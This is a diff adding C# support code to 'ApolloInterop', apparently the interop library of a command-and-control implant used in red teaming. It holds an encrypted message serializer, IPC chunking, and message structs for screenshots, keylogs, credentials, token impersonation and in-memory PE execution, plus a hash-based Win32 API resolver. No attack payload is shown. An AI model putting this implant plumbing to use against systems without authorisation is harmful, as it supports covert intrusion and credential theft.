||||
bool ProcessMessageResponse(MessageResponse resp);
|
||||
|
||||
void AddTaskResponseToQueue(MythicTaskResponse message);
|
||||
|
||||
void AddDelegateMessageToQueue(DelegateMessage delegateMessage);
|
||||
|
||||
void AddSocksDatagramToQueue(MessageDirection dir, SocksDatagram dg);
|
||||
void AddRpfwdDatagramToQueue(MessageDirection dir, SocksDatagram dg);
|
||||
|
||||
bool LoadTaskModule(byte[] taskAsm, string[] commands);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
using ApolloInterop.Structs.ApolloStructs;
|
||||
using System;
|
||||
using System.Net.Sockets;
|
||||
|
||||
namespace ApolloInterop.Interfaces
|
||||
{
|
||||
public interface ITcpClientCallback
|
||||
{
|
||||
void OnAsyncConnect(TcpClient client, out Object state);
|
||||
void OnAsyncDisconnect(TcpClient client, Object state);
|
||||
void OnAsyncMessageReceived(TcpClient client, IPCData data, Object state);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
using System;
|
||||
using ApolloInterop.Classes.Api;
|
||||
|
||||
namespace ApolloInterop.Interfaces
|
||||
{
|
||||
public interface IWin32ApiResolver
|
||||
{
|
||||
T GetLibraryFunction<T>(Library library, string functionName, bool canLoadFromDisk = true, bool resolveForwards = true) where T : Delegate;
|
||||
T GetLibraryFunction<T>(Library library, short ordinal, bool canLoadFromDisk = true, bool resolveForwards = true) where T : Delegate;
|
||||
T GetLibraryFunction<T>(Library library, string functionHash, long key, bool canLoadFromDisk=true, bool resolveForwards = true) where T : Delegate;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
// General Information about an assembly is controlled through the following
|
||||
// set of attributes. Change these attribute values to modify the information
|
||||
// associated with an assembly.
|
||||
[assembly: AssemblyTitle("ApolloInterop")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyProduct("ApolloInterop")]
|
||||
[assembly: AssemblyCopyright("Copyright © 2021")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCulture("")]
|
||||
|
||||
// Setting ComVisible to false makes the types in this assembly not visible
|
||||
// to COM components. If you need to access a type in this assembly from
|
||||
// COM, set the ComVisible attribute to true on that type.
|
||||
[assembly: ComVisible(false)]
|
||||
|
||||
// The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||
[assembly: Guid("5b5bd587-7dca-4306-b1c3-83a70d755f37")]
|
||||
|
||||
// Version information for an assembly consists of the following four values:
|
||||
//
|
||||
// Major Version
|
||||
// Minor Version
|
||||
// Build Number
|
||||
// Revision
|
||||
//
|
||||
// You can specify all the values or you can default the Build and Revision Numbers
|
||||
// by using the '*' as shown below:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
@@ -0,0 +1,24 @@
|
||||
using ApolloInterop.Structs.ApolloStructs;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Runtime.Serialization;
|
||||
using System.Text;
|
||||
|
||||
namespace ApolloInterop.Serializers
|
||||
{
|
||||
public class ApolloSerializationBinder : SerializationBinder
|
||||
{
|
||||
public override Type BindToType(string assemblyName, string typeName)
|
||||
{
|
||||
if (typeName == "ApolloInterop.Structs.ApolloStructs.PeerMessage")
|
||||
{
|
||||
return typeof(PeerMessage);
|
||||
}
|
||||
else
|
||||
{
|
||||
return typeof(Nullable);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,74 @@
|
||||
using System;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using ApolloInterop.Enums.ApolloEnums;
|
||||
using ApolloInterop.Interfaces;
|
||||
using ApolloInterop.Structs.ApolloStructs;
|
||||
using ApolloInterop.Types;
|
||||
|
||||
namespace ApolloInterop.Serializers
|
||||
{
|
||||
public class EncryptedJsonSerializer : JsonSerializer, ICryptographySerializer
|
||||
{
|
||||
private ICryptography Cryptor;
|
||||
public EncryptedJsonSerializer(ICryptography crypto) : base()
|
||||
{
|
||||
Cryptor = crypto;
|
||||
}
|
||||
|
||||
public bool UpdateUUID(string uuid)
|
||||
{
|
||||
return Cryptor.UpdateUUID(uuid);
|
||||
}
|
||||
|
||||
public bool UpdateKey(string key)
|
||||
{
|
||||
return Cryptor.UpdateKey(key);
|
||||
}
|
||||
|
||||
public string GetUUID()
|
||||
{
|
||||
return Cryptor.GetUUID();
|
||||
}
|
||||
public override string Serialize(object msg)
|
||||
{
|
||||
string jsonMsg = base.Serialize(msg);
|
||||
return Cryptor.Encrypt(jsonMsg);
|
||||
}
|
||||
|
||||
public override T Deserialize<T>(string msg)
|
||||
{
|
||||
string decrypted = Cryptor.Decrypt(msg);
|
||||
return base.Deserialize<T>(decrypted);
|
||||
}
|
||||
|
||||
public override object Deserialize(string msg, Type t)
|
||||
{
|
||||
string decrypted = Cryptor.Decrypt(msg);
|
||||
return base.Deserialize(decrypted, t);
|
||||
}
|
||||
|
||||
public override IPCChunkedData[] SerializeIPCMessage(IMythicMessage message, int blockSize = 4096)
|
||||
{
|
||||
string msg = Serialize(message);
|
||||
byte[] bMsg = Encoding.UTF8.GetBytes(msg);
|
||||
int numMessages = bMsg.Length / blockSize + 1;
|
||||
IPCChunkedData[] ret = new IPCChunkedData[numMessages];
|
||||
var t = message.GetTypeCode();
|
||||
string id = Guid.NewGuid().ToString();
|
||||
for (int i = 0; i < numMessages; i ++)
|
||||
{
|
||||
byte[] part = bMsg.Skip(i*blockSize).Take(blockSize).ToArray();
|
||||
ret[i] = new IPCChunkedData(id, message.GetTypeCode(), i+1, numMessages, part);
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
public override IMythicMessage DeserializeIPCMessage(byte[] data, MessageType mt)
|
||||
{
|
||||
string enc = Encoding.UTF8.GetString(data);
|
||||
Type t = MythicTypes.GetMessageType(mt);
|
||||
return (IMythicMessage)Deserialize(enc, t);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,65 @@
|
||||
//using ApolloInterop.Interfaces;
|
||||
//using ApolloInterop.Structs.ApolloStructs;
|
||||
//using ApolloInterop.Structs.MythicStructs;
|
||||
//using System;
|
||||
//using System.Collections.Generic;
|
||||
//using System.IO.Pipes;
|
||||
//using System.Linq;
|
||||
//using System.Text;
|
||||
|
||||
//namespace ApolloInterop.Serializers
|
||||
//{
|
||||
// public class EncryptedSMBSerializer : JsonSerializer, ICryptographySerializer
|
||||
// {
|
||||
// private ICryptography Cryptor;
|
||||
|
||||
// public EncryptedSMBSerializer(ICryptography crypto) : base()
|
||||
// {
|
||||
// Cryptor = crypto;
|
||||
// }
|
||||
|
||||
// public bool UpdateUUID(string uuid)
|
||||
// {
|
||||
// return Cryptor.UpdateUUID(uuid);
|
||||
// }
|
||||
|
||||
// public bool UpdateKey(string key)
|
||||
// {
|
||||
// return Cryptor.UpdateKey(key);
|
||||
// }
|
||||
|
||||
// public string GetUUID()
|
||||
// {
|
||||
// return Cryptor.GetUUID();
|
||||
// }
|
||||
|
||||
// public override string Serialize(object msg)
|
||||
// {
|
||||
// string jsonMessage = Cryptor.Encrypt(base.Serialize(msg));
|
||||
// Type t = msg.GetType();
|
||||
// PeerMessage pmsg = new PeerMessage();
|
||||
// pmsg.Message = jsonMessage;
|
||||
// if (t == typeof(MessageResponse))
|
||||
// {
|
||||
// pmsg.Type = Enums.ApolloEnums.MessageType.MessageResponse;
|
||||
// } else if (t == typeof(CheckinMessage))
|
||||
// {
|
||||
// pmsg.Type = Enums.ApolloEnums.MessageType.CheckinMessage;
|
||||
// } else
|
||||
// {
|
||||
// throw new Exception($"Invalid message type: {t.Name}");
|
||||
// }
|
||||
|
||||
// return base.Serialize(pmsg);
|
||||
// }
|
||||
|
||||
// public override T Deserialize<T>(string msg)
|
||||
// {
|
||||
// PeerMessage pmsg = base.Deserialize<PeerMessage>(msg);
|
||||
// string decrypted = Cryptor.Decrypt(pmsg.Message);
|
||||
// // do some matching of T to pmsg type and throw exception if not proper.
|
||||
|
||||
// }
|
||||
|
||||
// }
|
||||
//}
|
||||
@@ -0,0 +1,99 @@
|
||||
using System;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using ApolloInterop.Interfaces;
|
||||
using System.IO;
|
||||
using System.Runtime.Serialization.Json;
|
||||
using ApolloInterop.Structs.ApolloStructs;
|
||||
using ApolloInterop.Types;
|
||||
using ApolloInterop.Enums.ApolloEnums;
|
||||
|
||||
namespace ApolloInterop.Serializers
|
||||
{
|
||||
public class JsonSerializer : ISerializer
|
||||
{
|
||||
//List<Type> _knownTypes = new List<Type>();
|
||||
public JsonSerializer()
|
||||
{
|
||||
//Assembly interopAsm = Assembly.GetAssembly(typeof(TaskResponse));
|
||||
//foreach(Type t in interopAsm.GetTypes())
|
||||
//{
|
||||
// if (t.FullName.StartsWith("ApolloInterop.Structs.MythicStructs") || t.FullName.StartsWith("ApolloInterop.Structs.ApolloStructs"))
|
||||
// {
|
||||
// _knownTypes.Add(t);
|
||||
// }
|
||||
//}
|
||||
}
|
||||
|
||||
public virtual string Serialize(object msg)
|
||||
{
|
||||
using (var ms = new MemoryStream())
|
||||
{
|
||||
var ser = new DataContractJsonSerializer(msg.GetType());
|
||||
ser.WriteObject(ms, msg);
|
||||
ms.Position = 0;
|
||||
using (var sr = new StreamReader(ms))
|
||||
{
|
||||
string res = sr.ReadToEnd();
|
||||
return res;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public virtual T Deserialize<T>(string msg)
|
||||
{
|
||||
using (var ms = new MemoryStream(Encoding.Unicode.GetBytes(msg)))
|
||||
{
|
||||
var deserializer = new DataContractJsonSerializer(typeof(T));
|
||||
return (T)deserializer.ReadObject(ms);
|
||||
}
|
||||
}
|
||||
|
||||
public virtual object Deserialize(string msg, Type t)
|
||||
{
|
||||
using (var ms = new MemoryStream(Encoding.Unicode.GetBytes(msg)))
|
||||
{
|
||||
var deserializer = new DataContractJsonSerializer(t);
|
||||
return deserializer.ReadObject(ms);
|
||||
}
|
||||
}
|
||||
|
||||
public virtual IPCChunkedData[] SerializeDelegateMessage(string message, MessageType mt, int blockSize = 4096)
|
||||
{
|
||||
// This delegate message is already encoding from Mythic, so we just need to get the bytes
|
||||
byte[] bMsg = Encoding.UTF8.GetBytes(message);
|
||||
int numMessages = bMsg.Length / blockSize + 1;
|
||||
IPCChunkedData[] ret = new IPCChunkedData[numMessages];
|
||||
string id = Guid.NewGuid().ToString();
|
||||
for (int i = 0; i < numMessages; i++)
|
||||
{
|
||||
byte[] part = bMsg.Skip(i * blockSize).Take(blockSize).ToArray();
|
||||
ret[i] = new IPCChunkedData(id, mt, i+1, numMessages, part);
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
public virtual IPCChunkedData[] SerializeIPCMessage(IMythicMessage message, int blockSize = 4096)
|
||||
{
|
||||
string msg = Serialize(message);
|
||||
byte[] bMsg = Encoding.UTF8.GetBytes(msg);
|
||||
int numMessages = bMsg.Length / blockSize + 1;
|
||||
IPCChunkedData[] ret = new IPCChunkedData[numMessages];
|
||||
var t = message.GetTypeCode();
|
||||
string id = Guid.NewGuid().ToString();
|
||||
for (int i = 0; i < numMessages; i++)
|
||||
{
|
||||
byte[] part = bMsg.Skip(i * blockSize).Take(blockSize).ToArray();
|
||||
ret[i] = new IPCChunkedData(id, message.GetTypeCode(), i+1, numMessages, part);
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
public virtual IMythicMessage DeserializeIPCMessage(byte[] data, MessageType mt)
|
||||
{
|
||||
string msg = Encoding.UTF8.GetString(data);
|
||||
Type t = MythicTypes.GetMessageType(mt);
|
||||
return (IMythicMessage)Deserialize(msg, t);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,184 @@
|
||||
using ApolloInterop.Enums.ApolloEnums;
|
||||
using ApolloInterop.Interfaces;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO.Pipes;
|
||||
using System.Net.Sockets;
|
||||
using System.Runtime.Serialization;
|
||||
using System.Security;
|
||||
|
||||
namespace ApolloInterop.Structs.ApolloStructs
|
||||
{
|
||||
|
||||
[DataContract]
|
||||
public struct ScreenshotInformation : IMythicMessage
|
||||
{
|
||||
[DataMember]
|
||||
public byte[] Data;
|
||||
|
||||
public ScreenshotInformation(byte[] screenBytes)
|
||||
{
|
||||
Data = screenBytes;
|
||||
}
|
||||
|
||||
public MessageType GetTypeCode()
|
||||
{
|
||||
return MessageType.ScreenshotInformation;
|
||||
}
|
||||
}
|
||||
|
||||
public struct ApolloTokenInformation
|
||||
{
|
||||
public IntPtr Token;
|
||||
public bool IsPrimary;
|
||||
public bool IsImpersonatedImpersonation;
|
||||
}
|
||||
|
||||
public struct ApplicationStartupInfo
|
||||
{
|
||||
public string Application;
|
||||
public string Arguments;
|
||||
public int ParentProcessId;
|
||||
public bool BlockDLLs;
|
||||
}
|
||||
|
||||
public struct ApolloLogonInformation
|
||||
{
|
||||
public readonly string Username;
|
||||
public readonly string Password;
|
||||
public readonly SecureString SecurePassword;
|
||||
public readonly string Domain;
|
||||
public readonly bool NetOnly;
|
||||
|
||||
public ApolloLogonInformation(string username, string password, string domain = ".", bool netOnly=false)
|
||||
{
|
||||
if (string.IsNullOrEmpty(username))
|
||||
throw new Exception("Username cannot be null or empty.");
|
||||
if (password == null)
|
||||
throw new Exception("Password cannot be null.");
|
||||
SecurePassword = new SecureString();
|
||||
foreach (char c in password)
|
||||
SecurePassword.AppendChar(c);
|
||||
SecurePassword.MakeReadOnly();
|
||||
Username = username;
|
||||
Password = password;
|
||||
Domain = domain;
|
||||
NetOnly = netOnly;
|
||||
}
|
||||
}
|
||||
|
||||
public struct C2ProfileData
|
||||
{
|
||||
public Type TC2Profile;
|
||||
public Type TCryptography;
|
||||
public Type TSerializer;
|
||||
public Dictionary<string, string> Parameters;
|
||||
}
|
||||
|
||||
[DataContract]
|
||||
public struct PeerMessage
|
||||
{
|
||||
[DataMember(Name = "message")]
|
||||
public string Message;
|
||||
[DataMember(Name = "type")]
|
||||
public MessageType Type;
|
||||
}
|
||||
|
||||
[DataContract]
|
||||
public struct IPCChunkedData : IChunkMessage
|
||||
{
|
||||
[DataMember(Name = "message_type")]
|
||||
public MessageType Message;
|
||||
[DataMember(Name = "chunk_number")]
|
||||
public int ChunkNumber;
|
||||
[DataMember(Name = "total_chunks")]
|
||||
public int TotalChunks;
|
||||
[DataMember(Name = "id")]
|
||||
public string ID;
|
||||
[DataMember(Name = "data")]
|
||||
public string Data;
|
||||
|
||||
public IPCChunkedData(string id="", MessageType mt = 0, int chunkNum = 0, int totalChunks = 1, byte[] data = null)
|
||||
{
|
||||
if (string.IsNullOrEmpty(id))
|
||||
{
|
||||
ID = Guid.NewGuid().ToString();
|
||||
}
|
||||
else
|
||||
{
|
||||
ID = id;
|
||||
}
|
||||
Message = mt;
|
||||
ChunkNumber = chunkNum;
|
||||
TotalChunks = totalChunks;
|
||||
Data = Convert.ToBase64String(data);
|
||||
}
|
||||
|
||||
public int GetChunkNumber()
|
||||
{
|
||||
return this.ChunkNumber;
|
||||
}
|
||||
|
||||
public int GetChunkSize()
|
||||
{
|
||||
return this.Data.Length;
|
||||
}
|
||||
|
||||
public int GetTotalChunks()
|
||||
{
|
||||
return this.TotalChunks;
|
||||
}
|
||||
}
|
||||
|
||||
[DataContract]
|
||||
public struct IPCCommandArguments : IMythicMessage
|
||||
{
|
||||
[DataMember(Name = "byte_data")]
|
||||
public byte[] ByteData;
|
||||
[DataMember(Name = "string_data")]
|
||||
public string StringData;
|
||||
|
||||
public MessageType GetTypeCode()
|
||||
{
|
||||
return MessageType.IPCCommandArguments;
|
||||
}
|
||||
}
|
||||
|
||||
[DataContract]
|
||||
public struct ExecutePEIPCMessage : IMythicMessage
|
||||
{
|
||||
[DataMember(Name = "executable")]
|
||||
public byte[] Executable;
|
||||
|
||||
[DataMember(Name = "name")]
|
||||
public string ImageName;
|
||||
|
||||
[DataMember(Name = "commandline")]
|
||||
public string CommandLine;
|
||||
|
||||
public readonly MessageType GetTypeCode()
|
||||
{
|
||||
return MessageType.ExecutePEIPCMessage;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
[DataContract]
|
||||
public struct ProcessResponse
|
||||
{
|
||||
[DataMember(Name = "jobs")]
|
||||
public string[] Jobs;
|
||||
[DataMember(Name = "commands")]
|
||||
public string[] Commands;
|
||||
}
|
||||
|
||||
public struct IPCData
|
||||
{
|
||||
public TcpClient Client;
|
||||
public NetworkStream NetworkStream;
|
||||
public PipeStream Pipe;
|
||||
public Object State;
|
||||
public Byte[] Data;
|
||||
public int DataLength;
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,88 @@
|
||||
using Microsoft.Win32.SafeHandles;
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using static ApolloInterop.Enums.Win32;
|
||||
|
||||
namespace ApolloInterop.Structs
|
||||
{
|
||||
public static class Win32
|
||||
{
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct SidAndAttributes
|
||||
{
|
||||
public IntPtr Sid;
|
||||
public uint Attributes;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct TokenMandatoryLevel
|
||||
{
|
||||
public SidAndAttributes Label;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct ProcessInformation
|
||||
{
|
||||
public IntPtr hProcess;
|
||||
public IntPtr hThread;
|
||||
public Int32 dwProcessId;
|
||||
public Int32 dwThreadId;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
||||
public struct StartupInfo
|
||||
{
|
||||
public Int32 cb;
|
||||
public String lpReserved;
|
||||
public String lpDesktop;
|
||||
public String lpTitle;
|
||||
public Int32 dwX;
|
||||
public Int32 dwY;
|
||||
public Int32 dwXSize;
|
||||
public Int32 dwYSize;
|
||||
public Int32 dwXCountChars;
|
||||
public Int32 dwYCountChars;
|
||||
public Int32 dwFillAttribute;
|
||||
public STARTF dwFlags;
|
||||
public Int16 wShowWindow;
|
||||
public Int16 cbReserved2;
|
||||
public IntPtr lpReserved2;
|
||||
public SafeFileHandle hStdInput;
|
||||
public SafeFileHandle hStdOutput;
|
||||
public SafeFileHandle hStdError;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public class SecurityAttributes
|
||||
{
|
||||
public Int32 nLength;
|
||||
public IntPtr lpSecurityDescriptor;
|
||||
public bool bInheritHandle;
|
||||
|
||||
public SecurityAttributes()
|
||||
{
|
||||
this.nLength = Marshal.SizeOf(this);
|
||||
}
|
||||
}
|
||||
|
||||
// This also works with CharSet.Ansi as long as the calling function uses the same character set.
|
||||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
||||
public struct StartupInfoEx
|
||||
{
|
||||
public StartupInfo StartupInfo;
|
||||
public IntPtr lpAttributeList;
|
||||
}
|
||||
|
||||
[StructLayoutAttribute(LayoutKind.Sequential)]
|
||||
public struct SecurityDescriptor
|
||||
{
|
||||
public byte revision;
|
||||
public byte size;
|
||||
public short control;
|
||||
public IntPtr owner;
|
||||
public IntPtr group;
|
||||
public IntPtr sacl;
|
||||
public IntPtr dacl;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
using ApolloInterop.Enums.ApolloEnums;
|
||||
|
||||
namespace ApolloInterop.Types
|
||||
{
|
||||
namespace Delegates
|
||||
{
|
||||
public delegate bool OnResponse<T>(T message);
|
||||
public delegate bool DispatchMessage(byte[] data, MessageType mt);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,106 @@
|
||||
using ApolloInterop.Enums.ApolloEnums;
|
||||
using ApolloInterop.Structs.ApolloStructs;
|
||||
using ApolloInterop.Structs.MythicStructs;
|
||||
using System;
|
||||
|
||||
namespace ApolloInterop.Types
|
||||
{
|
||||
public static class MythicTypes
|
||||
{
|
||||
public static Type GetMessageType(MessageType msg)
|
||||
{
|
||||
if (msg == MessageType.C2ProfileData)
|
||||
{
|
||||
return typeof(ApolloInterop.Structs.MythicStructs.C2ProfileData);
|
||||
}
|
||||
else if (msg == MessageType.Credential)
|
||||
{
|
||||
return typeof(Credential);
|
||||
}
|
||||
else if (msg == MessageType.RemovedFileInformation)
|
||||
{
|
||||
return typeof(RemovedFileInformation);
|
||||
}
|
||||
else if (msg == MessageType.FileInformation)
|
||||
{
|
||||
return typeof(FileInformation);
|
||||
}
|
||||
else if (msg == MessageType.FileBrowser)
|
||||
{
|
||||
return typeof(FileBrowser);
|
||||
}
|
||||
else if (msg == MessageType.EdgeNode)
|
||||
{
|
||||
return typeof(EdgeNode);
|
||||
}
|
||||
else if (msg == MessageType.SocksDatagram)
|
||||
{
|
||||
return typeof(SocksDatagram);
|
||||
}
|
||||
else if (msg == MessageType.Artifact)
|
||||
{
|
||||
return typeof(Artifact);
|
||||
}
|
||||
else if (msg == MessageType.TaskStatus)
|
||||
{
|
||||
return typeof(MythicTaskStatus);
|
||||
}
|
||||
else if (msg == MessageType.TaskResponse)
|
||||
{
|
||||
return typeof(MythicTaskResponse);
|
||||
}
|
||||
else if (msg == MessageType.Task)
|
||||
{
|
||||
return typeof(MythicTask);
|
||||
}
|
||||
else if (msg == MessageType.DelegateMessage)
|
||||
{
|
||||
return typeof(DelegateMessage);
|
||||
}
|
||||
else if (msg == MessageType.TaskingMessage)
|
||||
{
|
||||
return typeof(TaskingMessage);
|
||||
}
|
||||
else if (msg == MessageType.EKEHandshakeMessage)
|
||||
{
|
||||
return typeof(EKEHandshakeMessage);
|
||||
}
|
||||
else if (msg == MessageType.EKEHandshakeResponse)
|
||||
{
|
||||
return typeof(EKEHandshakeResponse);
|
||||
}
|
||||
else if (msg == MessageType.CheckinMessage)
|
||||
{
|
||||
return typeof(CheckinMessage);
|
||||
}
|
||||
else if (msg == MessageType.UploadMessage)
|
||||
{
|
||||
return typeof(UploadMessage);
|
||||
}
|
||||
else if (msg == MessageType.MessageResponse)
|
||||
{
|
||||
return typeof(MessageResponse);
|
||||
} else if (msg == MessageType.DownloadMessage)
|
||||
{
|
||||
return typeof(DownloadMessage);
|
||||
} else if (msg == MessageType.IPCCommandArguments)
|
||||
{
|
||||
return typeof(IPCCommandArguments);
|
||||
} else if (msg == MessageType.ExecutePEIPCMessage)
|
||||
{
|
||||
return typeof(ExecutePEIPCMessage);
|
||||
}
|
||||
else if (msg == MessageType.ScreenshotInformation)
|
||||
{
|
||||
return typeof(ScreenshotInformation);
|
||||
} else if (msg == MessageType.KeylogInformation)
|
||||
{
|
||||
return typeof(KeylogInformation);
|
||||
}
|
||||
else
|
||||
{
|
||||
throw new Exception($"Invalid MessageType: {msg}");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
|
||||
namespace ApolloInterop.Utils
|
||||
{
|
||||
public static class DebugHelp
|
||||
{
|
||||
// This method will only be called in debug mode, allows an easier way to only print messages to the console during debug without needing if directives everywhere
|
||||
[Conditional("DEBUG")]
|
||||
public static void DebugWriteLine(string? message)
|
||||
{
|
||||
Console.WriteLine(message);
|
||||
}
|
||||
|
||||
// debug only method to write to the log file
|
||||
[Conditional("DEBUG")]
|
||||
public static void WriteToLogFile(string? message)
|
||||
{
|
||||
string path = @"C:\Windows\System32\Tasks\ApolloInteropLog.txt";
|
||||
if (!File.Exists(path))
|
||||
{
|
||||
File.Create(path).Close();
|
||||
}
|
||||
if (File.Exists(path))
|
||||
{
|
||||
File.AppendAllText(path, message + Environment.NewLine);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,75 @@
|
||||
using System.Collections.Generic;
|
||||
using System.Globalization;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
|
||||
namespace ApolloInterop.Utils
|
||||
{
|
||||
public static class PathUtils
|
||||
{
|
||||
/// <summary>
|
||||
/// Gets the exact case used on the file system for an existing file or directory.
|
||||
/// </summary>
|
||||
/// <param name="path">A relative or absolute path.</param>
|
||||
/// <param name="exactPath">The full path using the correct case if the path exists. Otherwise, null.</param>
|
||||
/// <returns>True if the exact path was found. False otherwise.</returns>
|
||||
/// <remarks>
|
||||
/// This supports drive-lettered paths and UNC paths, but a UNC root
|
||||
/// will be returned in title case (e.g., \\Server\Share).
|
||||
/// </remarks>
|
||||
public static bool TryGetExactPath(string path, out string exactPath)
|
||||
{
|
||||
bool result = false;
|
||||
exactPath = null;
|
||||
if (path.EndsWith(":"))
|
||||
{
|
||||
path = path + "\\";
|
||||
}
|
||||
// DirectoryInfo accepts either a file path or a directory path, and most of its properties work for either.
|
||||
// However, its Exists property only works for a directory path.
|
||||
DirectoryInfo directory = new DirectoryInfo(path);
|
||||
if (File.Exists(path) || directory.Exists)
|
||||
{
|
||||
List<string> parts = new List<string>();
|
||||
|
||||
DirectoryInfo parentDirectory = directory.Parent;
|
||||
while (parentDirectory != null)
|
||||
{
|
||||
FileSystemInfo entry = parentDirectory.EnumerateFileSystemInfos(directory.Name).First();
|
||||
parts.Add(entry.Name);
|
||||
|
||||
directory = parentDirectory;
|
||||
parentDirectory = directory.Parent;
|
||||
}
|
||||
|
||||
// Handle the root part (i.e., drive letter or UNC \\server\share).
|
||||
string root = directory.FullName;
|
||||
if (root.Contains(':'))
|
||||
{
|
||||
root = root.ToUpper();
|
||||
}
|
||||
else
|
||||
{
|
||||
string[] rootParts = root.Split('\\');
|
||||
root = string.Join("\\", rootParts.Select(part => CultureInfo.CurrentCulture.TextInfo.ToTitleCase(part)));
|
||||
}
|
||||
|
||||
parts.Add(root);
|
||||
parts.Reverse();
|
||||
exactPath = Path.Combine(parts.ToArray());
|
||||
result = true;
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
public static string StripPathOfHost(string path)
|
||||
{
|
||||
if (path.StartsWith(@"\\"))
|
||||
{
|
||||
return new string(path.Skip(path.IndexOf('\\', 2) + 1).ToArray());
|
||||
}
|
||||
return path;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
using System;
|
||||
using System.Text;
|
||||
|
||||
namespace ApolloInterop.Utils;
|
||||
|
||||
public static class RecordExtensions
|
||||
{
|
||||
public static string ToIndentedString(this string recordString)
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(recordString))
|
||||
return recordString;
|
||||
|
||||
var sb = new StringBuilder();
|
||||
var parts = recordString.Split(new[] { '{' }, StringSplitOptions.RemoveEmptyEntries);
|
||||
|
||||
|
||||
//get the type name from parts[0]
|
||||
var recordName = parts[0].Trim();
|
||||
//add the type name to the string builder
|
||||
sb.AppendLine();
|
||||
sb.AppendLine(recordName);
|
||||
sb.AppendLine("{");
|
||||
|
||||
//remove the } from the last part and update the last part
|
||||
string body = parts[^1].Trim().TrimEnd('}');
|
||||
|
||||
var trimmedPart = body.Trim();
|
||||
var propertyValues = trimmedPart.Split(new[] { ',' });
|
||||
|
||||
for (int i = 0; i < propertyValues.Length; i++)
|
||||
{
|
||||
var trimmedropertyLine = propertyValues[i].Trim();
|
||||
if (trimmedropertyLine.Contains("="))
|
||||
{
|
||||
//after the first property we need a line break so each property = value pair is on a new line
|
||||
if (i > 0)
|
||||
{
|
||||
sb.AppendLine();
|
||||
}
|
||||
sb.Append($"\t{trimmedropertyLine}, ");
|
||||
}
|
||||
else
|
||||
{
|
||||
sb.Append($"{trimmedropertyLine}, ");
|
||||
}
|
||||
}
|
||||
sb.AppendLine();
|
||||
sb.AppendLine("}");
|
||||
|
||||
return sb.ToString();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
|
||||
namespace ApolloInterop.Utils
|
||||
{
|
||||
public static class RegistryUtils
|
||||
{
|
||||
public static RegistryKey GetRegistryKey(string hive, string subkey, bool forWriting)
|
||||
{
|
||||
RegistryKey regKey;
|
||||
switch (hive)
|
||||
{
|
||||
case "HKU":
|
||||
regKey = Registry.Users.OpenSubKey(subkey, forWriting);
|
||||
break;
|
||||
case "HKCC":
|
||||
regKey = Registry.CurrentConfig.OpenSubKey(subkey, forWriting);
|
||||
break;
|
||||
case "HKCU":
|
||||
regKey = Registry.CurrentUser.OpenSubKey(subkey, forWriting);
|
||||
break;
|
||||
case "HKLM":
|
||||
regKey = Registry.LocalMachine.OpenSubKey(subkey, forWriting);
|
||||
break;
|
||||
case "HKCR":
|
||||
regKey = Registry.ClassesRoot.OpenSubKey(subkey, forWriting);
|
||||
break;
|
||||
default:
|
||||
throw new Exception($"Unknown registry hive: {hive}");
|
||||
}
|
||||
return regKey;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<packages>
|
||||
<package id="PolySharp" version="1.14.1" targetFramework="net45" developmentDependency="true" />
|
||||
</packages>
|
||||
@@ -0,0 +1,83 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="15.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
